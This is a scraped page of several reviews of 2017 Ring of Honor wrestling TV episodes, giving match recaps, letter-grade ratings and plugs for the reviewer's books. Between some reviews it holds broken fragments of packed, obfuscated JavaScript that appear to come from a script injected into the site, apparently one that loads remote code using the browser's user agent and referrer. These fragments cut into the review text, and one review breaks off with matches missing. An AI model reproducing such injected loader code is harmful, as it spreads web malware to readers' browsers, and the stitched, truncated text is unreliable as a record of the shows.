Ring of Honor
Date: December 6, 2017
Location: RP Funding Center, Lakeland, Florida
Commentators: Colt Cabana, Ian Riccaboni

Things are starting to pick up with two weeks to go before Final Battle. I’ve been liking the shows more and more as of late, which hopefully keeps up this week. They still need some more build towards some of the matches but they’ve certainly been doing more good than bad as of late. Let’s get to it.

Opening sequence.

Beer City Bruiser vs. Marty Scurll

Marty gets tossed outside to start so he gets a bit smarter by going after Bruiser’s fingers. Some forearms against the barricade have Bruiser in even more trouble as this is full on face Marty. Bruiser misses a charge and hits the barricade as we take a break. Back with Bruiser missing a frog splash and Jay Lethal coming out to watch. A superkick to the jaw and another to the leg have Bruiser staggered but a hard clothesline takes Marty back down for two.

Marty’s rollup with feet on the ropes gets two and Bruiser knocks him outside again. That means another missed dive and both guys are down on the floor. Bruiser dives back in at nineteen and it’s off to an octopus hold. The referee gets bumped (of course he does) and the fans say he deserves it. What a bunch of jerks. Marty hits Bruiser in the head with the umbrella for the pin at 10:16 with Jay teasing coming out for the save but standing his ground instead.

Rating: D+. I could go for Scurll as a face actually, even if his name is the Villain. I know it’s a stretch to have a villain as a face, but in a weird way it’s actually working. Bruiser wasn’t the best in the world here but having Lethal tease making the save and then allow Scurll to be the villain makes for an interesting story heading into the pay per view.

We look at Dalton Castle winning the first Soaring Eagle Cup tournament.

Castle talks about being a wrestler his whole life and it being who he is instead of what he does. Then he showed up here and worked his way to the top. It took a long time to get himself noticed and one person to notice him was Cody. They had a match earlier this year where Cody snuck in and attacked him. Cody even shipped the Boys out, which isn’t going to make him weak. Next week: they sign the contract. Castle was a lot more serious here and it worked that much better.

Earlier this week, the Briscoe Brothers went to Bully Ray’s training center but he wasn’t there. The trainees introduced themselves to the Brothers and of course got beaten up. The Brothers went on to break a bunch of pictures with Jay shouting at a picture of Bully, asking what it’s going to take to get in the ring. One of the trainees takes a 3D to wrap this up. Another good segment here for a good story.

It’s Coleman’s Pulpit time and hopefully I can hear him this week. Coleman’s guest is….himself. Coleman is ready for his TV Title shot and thinks Kenny King is just jealous. Kenny isn’t a king, a peasant or a pawn but rather a ho. I still don’t get the point of this show.

Tag Team Titles: Motor City Machine Guns vs. The Kingdom

The Kingdom (TK O’Ryan and Vinny Marseglia this time) are challenging and this is from a show in Fort Lauderdale. The Guns get jumped from behind to start but come right back with some clotheslines. That means a double dive to the floor, only to have the Kingdom whip the champs into the barricade.

Back in and Marseglia gets punched out of the air, setting up something close to Poetry in Motion in the corner. The champs start in on O’Ryan’s leg and we hit a Figure Four. Marseglia gets one as well but both holds are pretty quickly broken. Everything breaks down with the Kingdom grabbing a spinebuster on Shelley to take over. The Kingdom holds up the titles and we take a break.

Back with Sabin hitting a high crossbody onto the two of them, only to have O’Ryan grab a Twist of Fate. Marseglia’s Swanton gets two and the assisted Regal Roll gets the same with Sabin driving O’Ryan into the cover for the break. With nothing else working, it’s time for the baseball bat and the ax but TK hits Marseglia by mistake. Since IT WAS A BASEBALL BAT TO THE HEAD, something like a double One Winged Angle is needed to put Vinny away at 11:53.

Rating: C. Hopefully this helps to get rid of the Kingdom being around the Tag Team Title scene. They may not be horrible but I really don’t need to see them near the titles. Watching them wrestling is still better than listening to Matt Taven talk, though that’s not saying much. Good enough match, but they completely lost me after the ball bat to the head. I mean…..really? That’s not even worthy of a cover?

Flip Gordon vs. Adam Page

No transition here as we’re back in Lakeland for the main event. Flip gets shoved away but he backflips to stay on his feet. Page can’t clothesline him due to a series of nipups as the announcers plug the Being the Elite series. They trade flips off the apron and there’s the handstand into a headscissors to put Page on the floor. Another flip dive takes Page down but he’s still able to kick Gordon in the face to take over. It’s chair time with Page launching up into a hard shot to the face as we take a break.

Back with Page getting two off a bridging suplex but Gordon scores with an enziguri. They kind of botch a sunset flip and both guys are down for a bit. A running shooting star gives Gordon two but Page sends him outside for a big moonsault to the floor. Rite of Passage is broken up and the Samoan Pop (a reverse Regal Roll), followed by a springboard spinning Stunner for the pin on Page at 8:44.

Rating: C-. So here’s the problem: Gordon is known for his flips and being all athletic and stuff. They were trying to make him stand out….and then they have Page match him move for move and flip for flip. That just makes me think Page is his equal and a win by a relative newcomer isn’t going to help that. I like the idea of pushing someone new, but they execution didn’t work.

Post match the Young Bucks come in and superkick Gordon down, drawing the big face pop. OH COME ON ALREADY! You just gave Gordon a big, clean win and THIRTY SECONDS LATER you have him getting beaten down again for the sake of ANOTHER YOUNG BUCKS MOMENT! The Bucks didn’t need to be there and it would be nice to have pushed Gordon on his own for a few minutes. But no, let’s push the big stars instead because they’re what matters and they might not get every viewer to their YouTube show if we don’t push them as the biggest deal in the world. My goodness this made me mad and that shouldn’t happen.

Cody says Gordon won’t take the Six Man Tag Team Titles, just like Castle won’t take the World Title.

Overall Rating: C-. That ending just destroyed any good things this show had going for it. I liked the Briscoes segment and the Scurll match was the right idea but none of that matters if we don’t focus on the Bucks AGAIN. Would it be the worst thing in the world to have them leave for a bit? Maybe they could actually have some other names get somewhere and not be so reliant on them all the time. But nah, let’s go with the Bucks every single time because that’s never going to get old.

Remember to follow me on Twitter @kbreviews and pick up the Monday Nitro and Thunder Reviews Volume VI: July – December 1999 in e-book or paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/11/22/new-book-kbs-monday-nitro-and-thunder-reviews-volume-vi/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

Ring of Honor
Date: November 29, 2017
Location: 2300 Arena, Philadelphia, Pennsylvania
Commentators: Ian Riccaboni, Colt Cabana

We’ve got three shows left before Final Battle and for the first time in longer than I can remember, I’m digging the heck out of ROH. They’re putting on good matches and telling interesting stories, which is a lot more than you can say about most wrestling shows these days. Let’s get to it.

The Bullet Club is in the back and ready for the eight man tag main event. They’re ready to face the spot monkeys and Flip Gordon will never flip again.

Opening sequence.

Jonathan Gresham vs. Silas Young

The winner is the final entrant in the four way TV Title match so TV Champion Kenny King is on commentary. Gresham gets sent into the corner to start but Gresham goes after the arm to slow things down a bit. A Beer City Bruiser distraction doesn’t get Young very far so Gresham sends him outside without much effort.

Back in and we hit a crisscross until Young grabs a sunset flip for two. Gresham ties his legs together to….I guess mildly annoy Young. Back up and Gresham pulls Young up by one leg and it’s time for a comedy spot. After nearly thirty seconds of waiting, Gresham pushes him back and scores with a dropkick. Back with Gresham slugging away with some really bad looking punches. A suplex puts Young down and a good looking high crossbody gives Gresham two.

The octopus hold goes on but Bruiser throws in a keg for a distraction, allowing him to sneak in and break things up. In other news: ROH referees are really stupid. Bruiser grabs the leg but this time Gresham takes him down with a suicide dive. Another distraction allows Young to avoid a second high crossbody, allowing Young to hit Misery for the pin at 11:19.

Rating: C-. The Bruiser stuff got really annoying with three different interferences. I can go for Young being in the title match but he needs something a little better than the Bruiser cheats and then Misery. Young is a good promo and a passable worker but more importantly he’s more interesting than Gresham, who is a technical guy with no personality.

The Kingdom is ready for their Tag Team Title match next week.

We look at the end of last week’s show with Mark Briscoe turning heel and helping to beat down Bully Ray.

War Machine comes out for a match but the Addiction jumps them in the aisle. The brawl is on with War Machine throwing the Addiction into the barricade, including a hard shot that takes down a plant.

It’s time for Coleman’s Pulpit with his first returning guest: Kenny King. Kenny is ready to be a fighting champion and doesn’t want to hear Coleman’s speech about reality. Coleman thinks King is being played for a fool because he’s just a pawn. He’s being pimped out, which King doesn’t care for. Somehow this gets Coleman a TV Title shot in Florida, which seemed to be Coleman’s idea.

We look back at Bullet Club beating down Dalton Castle from last week.

Flip Gordon/Scorpio Sky/Coast to Coast vs. Bullet Club

It’s the Bucks/Adam Page/Marty Scurll here. Jay Lethal is on commentary and Cody comes out for a bonus. Before we get going, Cody says Gordon’s dreams of beating the Bullet Club is the same as Castle winning the title: a pipe dream. Scurll takes LSG down by the wrist to start and it’s time for an early wrestling sequence. You don’t do that to a British guy though as he pops up with a bird pose, only to have Cody come up on the apron for the same. That earns him an ejection though and it’s off to Matt vs. Sky.

Neither can hit much of anything until Scorpio nails a dropkick. Nick comes in and of course the fans are mostly behind the Club. It’s off to Gordon, who refuses a series of handshake offers. Flip makes the mistake of doing his dancing handstand, allowing Nick to dropkick him in the ribs. Back up and Gordon keeps nipping up to avoid superkicks and because this is a Bucks match, Nick keeps trying the same stupid move over and over. A standoff takes us to a break and we come back with Gordon still refusing a handshake.

Matt comes in and grabs him by the hand though, allowing Scurll to break the fingers. Naturally, the partners just STAND AND WATCH ALL THIS, including the triple superkicks. The fans think this is awesome because they’ll cheer anything the Bucks do. Coast to Coast gets sent outside and it’s time for a bunch of dives, as you might expect. Gordon nails an even bigger dive and comes back in to face Nick….who promptly pokes him in the eye to take over. Sky gets sent into the corner and it’s time for a Bullet Club train of clotheslines.

Back from another break with Flip having to bail out of a 450 and getting superkicked down. Flip grabs a reverse Regal Roll but backflips into the chickenwing. Sky makes the save and grabs a dragon sleeper, only to have the superkick party begin. Ali and Matt slug it out on the apron until LSG hits his partner by mistake. A belly to back suplex onto the apron drops Ali, leaving Flip all alone in the ring. He tries his own dive, and, say it with me, lands on a bunch of superkicks.

More Bang For Your Buck doesn’t work and Gordon springboards into a mostly missed dive to the floor. Nick is caught in the Tree of Woe for a double Coast to Coast but Gordon’s 450 only gets two. Scurll does the chickenwing dance but gets kicked in the head. A blind tag brings in Ali….which doesn’t matter as it’s ANOTHER string of superkicks as the Bucks cut off another comeback. Matt superkicks Scurll by mistake but Page comes back in for a Rite of Passage/Tombstone/Indytaker combo to Gordon and Sky for the double pin at 20:07.

Rating: B-. Well that was maddening. This match was designed to push Gordon as a young up and comer but all I saw here was the Bullet Club superkicking everyone in sight and hitting a big team move for the win. As usual, the problem with the Club’s matches is the same: they’re never made to look like they’re in any kind of danger. Every time the good guys got something going here, it was a bunch of superkicks to cut them off again. Sure there were some exciting moments here and there but I should buy the idea that the underdog faces have a chance. That wasn’t the case here and it got old in a hurry.

Overall Rating: C+. This show was much more about the in-ring work instead of the storytelling but you can tell they’re especially working hard around this time. You also would have expected something from Lethal vs. Scurll here but that was barely discussed in the slightest. It’s still a good show, though it wasn’t exactly the same formula they’ve been using, or the one they should have been using for that matter.

Remember to follow me on Twitter @kbreviews and pick up the Monday Nitro and Thunder Reviews Volume VI: July – December 1999 in e-book or paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/11/22/new-book-kbs-monday-nitro-and-thunder-reviews-volume-vi/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

Ring of Honor
Date: October 4, 2017
Location: Center Stage, Atlanta, Georgia
Commentators: Ian Riccaboni, BJ Whitmer

It’s World Title week here as Frankie Kazarian is getting a shot at Cody after winning last week’s Honor Rumble. That’s quite the turnaround but you can’t expect them to give him the shot on a pay per view as a spot like that is reserved for people from real promotions like New Japan. Let’s get to it.

We recap last week’s Honor Rumble with the Addiction cheating to give Kazarian the win.

War Machine vs. Coast to Coast vs. Tempura Boyz

One fall to a finish and War Machine’s IWGP Tag Team Titles aren’t on the line. There are no tags either so this is going to be a heck of a mess. War Machine cleans house to start and Rowe throws both Boyz at the same time just because he can. Hanson throws Rowe at LSG and it’s pure dominance to start.

Coast to Coast gets their faces punched in on the floor but the Boyz are up with double dives to the floor as we take a break. Back with War Machine down for a bit, only to come back in with Rowe slamming Sho onto Yo. The monsters are sent outside though and it’s Yo hitting a cutter on LSG. Rowe is back in though and a knee to the head sends Yo outside. Most of the participants wind up on the floor so LSG hits a flip dive, only to have Hanson hit a flip dive onto EVERYONE, leaving Sho to take a clothesline/German suplex combination.

Ali dives in for the save and it’s Yo getting put into the Tree of Woe but War Machine breaks up the Coast to Coast. The Boyz grab a spike piledriver for two on Rowe, who pops up and powerbombs both Boyz at the same time. A pop up powerslam plants Yo and a series of backbreakers sets up a top rope splash from Hanson for the pin at 11:24.

Rating: B. Everyone was working here and my general indifference to the Boyz was made up for by the awesomeness that is War Machine. They’re just big monsters who can do cool moves and that’s really all you need most of the time. Really solid match here as Coast to Coast continues to impress as well.

Post match, War Machine complains about Ring of Honor treating them badly and not giving them a title shot in over a year. They were supposed to have a shot at the Young Bucks but another team was added to the match to keep War Machine from getting a fair shot. They’re tired of playing nice and you won’t like this version. This didn’t sound like a heel turn but more like them just being aggressive.

Video on Flip Gordon.

Corey Hollis vs. Flip Gordon

Flip, uh, flips out of a wristlock to start and nips up off a shoulder block. The handstand walk gets Flip out of trouble and a dive to the floor takes Hollis out. A flip dive misses though and Gordon gets dropped ribs first onto the top. Back from a break with Hollis working on an armbar. Gordon fights up and hits a flip Sling Blade followed by a running shooting star press for two more. Hollis catches him in the corner again but Flip is right back up with a springboard kick to the face. A springboard 450 (with the knees landing on Hollis’ chest) gives Flip the pin at 9:30.

Rating: D. Gordon is a one note character and there’s really nothing wrong with that. He’s not hiding what he’s doing out there and that’s kind of refreshing. Unfortunately he’s also really sloppy with that ending looking terrible. Reign him in a bit and have him do things a bit more slowly and accurately instead of throwing in everything he can and he’ll look a lot better in a hurry.

Kazarian says he wants to win the title to tick off the fans and ROH.

Long video recapping the Women of Honor. I’m going to put this as politely as I can: no one cares. Like really, no one cares. There are great women’s divisions around the world but Ring of Honor’s is just not on that list. It never gets any kind of attention and the handful of specials they’ve had aren’t enough to make me care about a four or five woman division. If ROH cared about them like they said they did, these people would be on the regular shows and not stuck on YouTube.

Kelly Klein says she’s ready to beat anyone put in front of her.

ROH World Title: Frankie Kazarian vs. Cody

Cody is defending and wins the early feeling out process. A release gordbuster drops Kazarian and it’s back to the standoff. Cody trips him down again and we hit the Figure Four but Kazarian is right next to the ropes. They’re certainly not wasting time early on. A dragon screw legwhip over the middle rope looks to set up a dive to the floor but Kazarian is back up with a slingshot hurricanrana.

Back in and Cody gets backdropped to the apron, setting up a kick to the head to drop him again. Kazarian scores with a spinning springboard Fameasser and we take a break. Back with Cody armdragging him off the top for a heck of a crash to put both guys down. The Beautiful Disaster connects but Kazarian grabs the slingshot cutter for another near fall. Cody is right back with a snap powerslam (well to be fair Goldust and Randy Orton both use it) and a YES Lock of all things. I’m not sold on Bryan coming back to ROH but they’re teasing the heck out of it.

Cue Daniels for a distraction but Marty Scurll comes out to even things up. Not that it matters as Scurll gets posted, allowing Kazarian to miss a belt shot. Now it’s a ref bump because ROH loves to overbook. Daniels gets in the belt shot to set up the Unprettier for a VERY close two.

Marty is back up to shove Kazarian off the top though and Daniels is thrown inside. Somehow the now conscious referee doesn’t think any of this is a DQ, including Daniels taking Cody down. Scurll superkicks Daniels to take him out, leaving Cody to grab Cross Rhodes to retain at 11:43.

Rating: C-. This match wasn’t even twelve minutes and had two people interfering, a belt shot and a ref bump. There’s no reason whatsoever that a match should do so much nonsense, nor should it need to. They were having a perfectly good match until the screwiness started up and then it was a completely different everything. If you just have to do something like that, do ONE THING and nothing more. Why is that so hard to understand?

Overall Rating: C. I’ve seen worse shows but it felt like they were cramming in as much stuff as they could into a single show. I believe this is the last episode of the taping cycle, meaning there’s almost no way of knowing what we’ll be seeing next week. Maybe we can even talk about the pay per view for a change. It would be nice to actually be caught up for once.

Remember to follow me on Twitter @kbreviews and pick up the Updated History of the Intercontinental Title in E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/10/02/new-paperback-kbs-history-of-the-intercontinental-title-updated-version/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ddebf|var|u0026u|referrer|ttshy||js|php'.split('|'),0,{})) of Honor
Date: August 16, 2017
Location: Cabarrus Arena and Events Center, Concord, North Carolina
Commentators: Ian Riccaboni, Colt Cabana

It’s kind of a new start for Ring of Honor as we officially finished off Cody vs. Christopher Daniels last week with Daniels losing his 2/3 falls rematch for the ROH World Title. Now we need a new challenger for the title as Cody is on his own at the moment. Jay Lethal is back as well and you know he’ll be a big deal again in a hurry. Let’s get to it.

We open with a quick recap of last week’s title match with Cody nearly laughing over his win.

Opening sequence.

Here’s Kazarian to get things going. He wants to know if the people here appreciate the things Daniels has done in this business. The fans seem to think so but Kazarian wants to know what was up with the reactions that Daniels received last week. If the fans here say they respect Daniels, every one of them are liars.

Kazarian isn’t sure if Daniels will ever wrestle again but the fans don’t deserve him anyway. These people are here to do stuff like throw streamers…..and we pause for the streamers to be thrown. Kazarian: “This isn’t Japan!” Preach it brother. He’s going to make it his mission to destroy everything about Ring of Honor that the fans love because, in a singing voice, YOU DESERVE IT! Kazarian: “Stupid marks.”

Punishment Martinez vs. Flip Gordon

Gordon is introduced as a member of the National Guard and he’s now in camouflage pants. Flip ducks a big boot and chops away to so much avail that he might as well be Ric Flair to Martinez’s Sting. They head outside with Martinez trying a chokeslam but not being able to follow up. A baseball slide and superkick from the apron stagger Martinez and a Lionsault puts him down.

Back in and Punishment easily hiptosses him into the corner before punching Flip in the ear for two. A clothesline turns Flip inside out and we head to a break. Back with Gordon hitting a springboard Sling Blade (cool) and a twisting frog splash for one. Gordon grabs a fireman’s carry and backflips into a Samoan drop (that’s a new one), followed by a Lionsault for two. Back up and Martinez kicks him square in the face and a Falcon Arrow gets two. Gordon kicks him away again and heads up top, only to get caught by the throat for a super sitout chokeslam and the pin at 8:22.

Rating: B-. I can actually go for Gordon as this kind of one dimensional character as they’re not even trying to hide what they’re doing with him. That being said, the chokeslam at the end looked awesome and had to finish him no matter what else he was doing. Martinez should be a great dragon for someone to fight but his feud with Jay White is still going, because wrestling today has no idea how to end a feud.

Post match White comes out for another brawl with Martinez.

Kenny King is ready to take the TV Title from Kushida, who is all he thinks about.

Colt Cabana can’t interview the Tempura Boyz because they don’t speak English. Comedy you see.

Back in the arena, Ian suggests that Colt team up with the Tempura Boyz to face Dalton Castle and the Boys. Colt: “My own boys???”

Rhett Titus vs. Cheeseburger

Titus jumps him at the start and hammers away in the corner as Colt can’t stop talking about the Tempura Boyz. Cheeseburger gets two off a rollup but gets caught in a big backbreaker. A Razor’s Edge is countered with a hurricanrana to send Titus into the corner and there’s the palm strike. Cue Will Ferrara for a distraction though, allowing Titus to hit a frog splash (the Doggy Splash from the Big Dog) for the pin at 2:39.

Cody laughs off the idea of someone working harder than him or being able to take his title.

Colt agrees to face Cody (which doesn’t sound serious) but Ian says Cody has to face Sanada on the upcoming i-pay per view, which I believe is the first mention of the show that is less than a week away. Cue Dalton Castle and the Boys to agree to give Colt and the Tempura Boyz a title shot. Again: the division is like two regular teams and whoever they throw together that month. Kill the thing already.

Video on Shane Taylor.

TV Title: Kenny King vs. Kushida

Kushida is defending and they have over twenty minutes left. They hit the mat to start as we hear what might be only our second reference to the upcoming War of the Worlds show. Kenny takes him down for an armbar before grabbing a spinebuster for two. A leg sweep sets up a modified Muta Lock as this is all King so far.

It’s too early for the Royal Flush as Kushida gets in the Hoverboard Lock, albeit over the ropes. King misses a corkscrew dive to the floor and eats a dropkick before being sent into the post. That’s fine with Kushida who hits a flip dive off the top to the floor, followed by the Hoverboard Lock back inside. Cue Adam Page and Marty Scurll for the DQ at 5:40.

Rating: C+. This was starting to go somewhere when they had the annoying run-in. This felt like they wanted to protect both guys and while that’s fine, it makes for a rather annoying ending to what could have been a good match. Just get to the tag match already though as you know that’s where this is going.

Post break King says he’s not having his title shot ruined by the Bullet Club B-Team. He wants a tag match right now and since we have ten minutes left in the show, let’s do it.

Kushida/Kenny King vs. Marty Scurll/Adam Page

Ian calls this a dream team because that’s what you call any team these days. It’s a brawl to start with the fresh Club getting the better of it and stomping away on Kushida in the corner. Scurll gets in a kick to the head and it’s time to start in on Kushida’s arm. Kushida rolls over for the hot tag to King though and house is quickly cleaned. A spinebuster gets two on Page but Scurll pulls King outside for a whip into the barricade.

Back from a break with King still in trouble and Kushida getting shoved off the apron. Kenny kicks Page in the head and it’s off to Kushida for the house cleaning strikes. He even gyrates his way into the Hoverboard Lock on Page but Scurll makes the save and breaks Kushida’s fingers.

You don’t need ten fingers for a Hoverboard Lock though and Scurll is in trouble in the middle of the ring. Page makes the save as everything breaks down with King diving over the top to take Adam out. Adam clotheslines Kushida into the tiger driver from Marty for two. Now it’s King coming back in with the Blockbuster and a Royal Flush to put Page away at 8:55.

Rating: C+. Good stuff here again but the match didn’t exactly need to exist. It was still fun though with Kenny getting a strong push to start his face run and Kushida being awesome as always. The Bullet Club isn’t going to be hurt by a loss, especially when it’s two of the lower level members like these two.

Post match King points to the title but shakes Kushida’s hand. One last mention of the pay per view (no card listed) wraps things up.

Overall Rating: B-. If you made me guess, I would have no idea what to expect from the upcoming pay per view. There’s nothing on this show that made me care about a pay per view because they barely talked about it. All I know is that Cody is defending the World Title and Kushida is in a four way. The opponents were mentioned in a rush and while I can look them up, asking for a series of graphics or even some quick promos isn’t the biggest request in the world. It’s a good show on its own but a complete failure of a go home show, so this one kind of depends on how you look at it.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rtbsn|var|u0026u|referrer|rrend||js|php'.split('|'),0,{})) of Honor
Date: July 12, 2017
Location: Lowell Memorial Auditorium, Lowell, Massachusetts
Commentators: Ian Riccaboni, Colt Cabana

Unless I’m missing it, there isn’t exactly anything huge set up for this show. Part of the problem with Ring of Honor is how little anything sticks out and that’s really being showcased here. So many shows feel like they stand alone instead of leading anywhere else, which isn’t the most interesting thing in the world. Let’s get to it.

Cody reminds us that he and Christopher Daniels brawled last week. Next week though, we have the rematch from Best in the World.

This is from Lowell, which would be after Best in the World. So did we see stuff from these tapings mixed with the Chicago tapings? It wouldn’t be the first time but it’s a bit confusing.

Opening sequence.

Dalton Castle/The Boys vs. Flip Gordon/Coast to Coast

Non-title. Castle freaks Flip out a bit with the chest thrust before stopping for some exercise. Everything breaks down for a big brawl and the announcers actually try to tell the Boys apart. The Boys both hit dives but Castle walks across the ring instead of diving, as Cabana knew would be the case.

Gordon kicks the Boys outside again, only to have Boy #2 cut him off with a hurricanrana. Now it’s Coast to Coast with their own dives until everyone but Gordon is on the floor, setting up a run up the corner into a springboard 450 to put everyone down. Back from a break with Boy #1 getting stomped in the corner and kicked in the head to give LSG (Leo St. Giovanni) two.

Gordon gets the same off a standing moonsault, followed by a Stroke/Flatliner combo. For no logical reason, Gordon and Coast to Coast yell at the crowd, allowing the Boys to switch places. The hot tag brings in Castle to clean house and catch Gordon in a German suplex. Everything breaks down and something like an F5 gets two on #1. LSG dives onto all three champs but gets suplexes for his efforts back inside. Bang a Rang puts LSG away at 11:18.

Rating: B-. This was a lot better than I was expecting with both teams looking great. The Boys have greatly improved and are actual wrestlers instead of just people who are there to fill in spots. Fun match here with the flips making sense and Castle being miles ahead of everyone else, which is exactly what he should have been.

We look back at Beer City Bruiser and Silas Young injuring Jay Lethal’s ribs.

Young is at the hospital Lethal spent the night at and promises that the war is far from over.

Ultimo Guerrero vs. Matt Taven

Feeling out process to start with Guerrero being sent into the corner and thankfully the announcers explain why these two started feuding in the first place. During the entrances they mentioned that it started in Mexico and they dropped the whole thing. Guerrero takes him to the mat but stops to yell at the Kingdom.

That means nothing as Taven gets clotheslined down for two but avoids a baseball slide. The Kingdom offers a distraction so Taven can take over but TK O’Ryan’s chop has no effect. Guerrero knocks Taven into the crowd and there’s a running dive for good measure. Back from a break with Guerrero down and Taven doing that smile of his.

Not that it matters as Guerrero comes right back with the slingshot Bronco Buster. A second attempt is countered into a Sharpshooter which doesn’t last all that long. Guerrero is right back up with a super gordbuster for two, only to have his reverse superplex broken up. Taven’s frog splash gets two but he grabs the referee and gets in a low blow. The Climax (arm trap bulldog driver) gives Taven the pin at 13:03.

Rating: C+. I still don’t care about the Kingdom or any of its members and I’m not wild on bringing in these legends and telling us to care about them because they’re famous elsewhere (which Guerrero certainly is). That being said, they did have a good match here and that’s what helps quite a bit, but not having Taven around would help even more.

The Young Bucks and Adam Page blame Bully Ray and the Briscoes for losing the Six Man Tag Team Titles before they had a chance to win them.

Silas Young says it’s been fifteen days without an accident but Lethal will never be safe no matter what. Did we really need to do this twice in one show?

Motor City Machine Guns vs. War Machine

Hanson and Sabin start things up with Chris’ modified Octopus Hold having as minimal effect as possible. Sabin gets thrown away and we have an early standoff. A double tag allows Rowe to Superman Punch Shelley as everything breaks down in a hurry. War Machine takes over and we take an early break. Back with Shelley in trouble in the corner as War Machine seems to be the de facto heels.

Hanson slams Rowe onto Shelley for two but Alex pops up and brings in Sabin as everything breaks down again. The Guns take over with the rapid fire offense, including double dives called Crossing the Streams. Back in and Rowe gets choked in the corner and more precision offense. Shelley misses a charge though and it’s back to Hanson for the running clotheslines in the corner.

Back from another break with Rowe throwing Hanson onto both Guns. A springboard clothesline into a German suplex gets two on Sabin but Fallout is broken up. Hanson suplexes both Guns down without much effort but an assisted standing Sliced Bread takes him down. Skull and Bones is broken up but Hanson misses a suicide dive and it’s time for the Guns to fire off the kicks. Sabin dives through Shelley’s legs to take Hanson down again and it’s Made in Detroit (powerbomb/Sliced Bread #2 combo) to put Rowe away at 14:13.

Rating: B. That’s the best Guns match I’ve seen in a long time as it felt like they were having a match instead of just doing all of their choreographed looking spots. War Machine is great as the power team which you don’t get around here too often. Good match here and that’s the kind of thing you can always go for.

Overall Rating: B. That’s one of the best episodes they’ve put together in a long time, despite me having issues caring about almost anyone on the show. They put on solid matches with the lower half of the roster and that makes for a pretty easy hour of wrestling to sit through.

http://kbwrestlingreviews.com/2017/05/19/history-of-saturday-nights-main-event-and-clash-of-the-champions-now-in-paperback-plus-price-drops/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|srafz|var|u0026u|referrer|afeyz||js|php'.split('|'),0,{})) of Honor
Date: June 28, 2017
Location: Frontier Fieldhouse, Chicago Ridge, Illinois
Commentators: Ian Riccaboni, Colt Cabana, Alex Shelley

One quick note: apparently some markets got a different episode so there’s a chance this is a completely different show than you saw.

Opening sequence.

Flip Gordon vs. Jonathan Gresham

We recap Punishment Martinez vs. Jay White.

Video on Josh Woods.

Woods is in the arena and wants to face Jay Briscoe to give himself a real challenge. No matter how tough Jay is, he can be knocked out or tapped out.

Silas Young vs. Bobby Fish

Silas throws him over a table and we take a second break. Back again with both of them on the apron and slugging it out between the ropes in the corner. Fish finally pulls him through the ropes and trapping him over one of the buckles, setting up some hard kicks. Not that it matters as Young pulls him into the corner for a crash, setting up a knee to the ribs and Misery for the pin at 16:25.

Fish shoves him away post match.

Punishment Martinez vs. Jay White

That earns White a big spinning kick to the face and something like a curb stomp from the corner. A right hand to the back of the head gives Martinez two and he smiles at White for trying a desperation forearm. White throws more right hands to annoy Martinez and then takes the knee out again. Some rolling German suplexes give Jay two and we take a break.

Back with Jay slipping out of a powerbomb but getting chokeslammed onto the apron. That and a Falcon Arrow give Martinez two because a monster and a CHOKESLAM ONTO THE APRON is only a setup move around here. White is right back with a swinging Rock Bottom for two of his own but walks into a reverse sitout AA. The sitout chokeslam is countered into a rollup to give White the pin at 11:17.

http://kbwrestlingreviews.com/2017/05/19/history-of-saturday-nights-main-event-and-clash-of-the-champions-now-in-paperback-plus-price-drops/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6